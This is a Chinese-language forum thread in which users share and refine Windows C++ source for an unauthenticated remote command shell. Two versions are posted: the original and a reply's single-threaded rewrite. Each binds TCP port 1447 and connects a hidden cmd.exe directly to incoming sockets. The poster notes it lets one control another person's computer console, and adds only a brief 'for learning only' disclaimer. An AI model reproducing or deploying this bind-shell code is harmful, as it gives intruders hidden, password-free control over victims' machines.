0管道 CMD远程登录。
{:5_92:} 原理是把Socket套接字句柄作为子进程的stdin、stdout、stderr管道。要实现这一步必须用WSASocket创建套接字。 不用创建管道,省区许多麻烦事儿。
上一张用Telnet连接的图吧。
仅供学习~不要干坏事哦。
@漩涡鸣人 @kklloo @~风介~ @牡丹花下死做鬼
// ScoketPip.cpp : 定义应用程序的入口点。
//
#include "stdafx.h"
#include "ScoketPip.h"
#include <WinSock2.h>
#pragma comment(lib,"ws2_32.lib")
typedef struct
{
SOCKET childFd;
SOCKADDR_IN childaddr;
DWORD thread_id;
}WorkInfo;
DWORD WINAPI thread_worker(PVOID Parm)
{
// 这是工作线程函数
WorkInfo info1;
PROCESS_INFORMATION pi={0};
STARTUPINFOA si={0};
memcpy(&info1,Parm,sizeof(WorkInfo));
// 创建进程
si.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES;
si.wShowWindow = SW_HIDE;
si.hStdInput = si.hStdOutput = si.hStdError = (void *)info1.childFd;
char *welcome = "远程CMD\n作者:无名侠\n主页:www.pandaos.net\n";
send(info1.childFd,welcome,strlen(welcome)+1,0);
DWORD ret=CreateProcessA(NULL,"cmd.exe",
NULL,NULL,1,0,NULL,NULL,&si,&pi);
if (!ret)
{
char *error = "无法访问cmd.exe\n连接失败...\n";
send(info1.childFd,error,strlen(error)+1,0);
}
closesocket(info1.childFd);
// 销毁
return ret;
}
int APIENTRY _tWinMain(_In_ HINSTANCE hInstance,
_In_opt_ HINSTANCE hPrevInstance,
_In_ LPTSTR lpCmdLine,
_In_ int nCmdShow)
{
WSADATA wd={0};
SOCKET sock;
SOCKADDR_IN sockaddr={0};
WSAStartup(MAKEWORD(2,2),&wd);
sock = WSASocket(AF_INET, SOCK_STREAM,
IPPROTO_TCP, NULL, 0, 0);
if (sock==INVALID_SOCKET)
ExitProcess(-1);
sockaddr.sin_family = AF_INET;
sockaddr.sin_port=htons(1447);
sockaddr.sin_addr.S_un.S_addr=ADDR_ANY;
if(bind(sock,(SOCKADDR *)&sockaddr,sizeof(sockaddr)))
ExitProcess(-2);
if(listen(sock,5))
ExitProcess(-3);
// 为每个用户运行一个cmd控制台
while (true)
{
WorkInfo newwork;
int slen;
slen = sizeof(SOCKADDR_IN);
newwork.childFd=accept(sock,(SOCKADDR *)&newwork.childaddr,&slen);
if (newwork.childFd!=INVALID_SOCKET)
{
HANDLE hThread;
hThread = CreateThread(NULL,0,thread_worker,&newwork,0,&newwork.thread_id);
CloseHandle(hThread);
}
Sleep(200);
}
} 表示 暂时完全不知道你写了什么{:5_100:} 牡丹花下死做鬼 发表于 2015-7-12 12:52
表示 暂时完全不知道你写了什么
这个可以操控别人电脑上的控制台。
操作的时候就想在操作自己电脑的控制台一样, 编译器报错说没有这两个头文件:
#include "stdafx.h"
#include "ScoketPip.h"
看来我还是搞不懂具体的步骤啊~{:7_139:} ~风介~ 发表于 2015-7-12 19:04
编译器报错说没有这两个头文件:
看来我还是搞不懂具体的步骤啊~
{:5_103:}去掉就行了。 ~风介~ 发表于 2015-7-12 19:04
编译器报错说没有这两个头文件:
看来我还是搞不懂具体的步骤啊~
有点懒,每次都让vc自动导入头文件。
#include <windows.h> 记得加上。
刷点鱼币 只为下载 路过 请教楼主一个问题,我用telnet运行一些命令不起作用,但是在cmd下就可以,同一台主机。 感谢楼主,我这里稍微整理了一下,改成单线程的看的清楚有需要再改成多线程的。
/**
* TelNet服务端
* @by skn
*/
#include <winsock2.h>
#pragma comment(lib,"ws2_32.lib")
int main(char *argc,char *argv[])
{
WSADATA wsaData;
WORD sockVersion = MAKEWORD(2,2);
WSAStartup(sockVersion,&wsaData);
//SOCKET s = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
SOCKET s = WSASocket(AF_INET,SOCK_STREAM,IPPROTO_TCP,NULL,0,0);
if(s == INVALID_SOCKET)
{
return -1;
}
sockaddr_in sin;
sin.sin_family = AF_INET;
sin.sin_port = htons(1447);
sin.sin_addr.S_un.S_addr = INADDR_ANY;
if(bind(s,(LPSOCKADDR)&sin,sizeof(sin)) == SOCKET_ERROR)
{
return -1;
}
if(listen(s,SOMAXCONN) == SOCKET_ERROR)
{
return -1;
}
while(true)
{
sockaddr_in remoteAddr;
int nAddrLen = sizeof(sockaddr_in);
SOCKET client = accept(s,(SOCKADDR*)&remoteAddr,&nAddrLen);
if(client == INVALID_SOCKET)
{
continue;
}
PROCESS_INFORMATION pi = {0};
STARTUPINFOA si = {0};
si.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES;
si.wShowWindow = SW_HIDE;
si.hStdInput = si.hStdOutput = si.hStdError = (void *)client;
CreateProcessA(NULL,"cmd.exe",NULL,NULL,1,0,NULL,NULL,&si,&pi);
closesocket(client);
}
WSACleanup();
return 1;
}
页:
[1]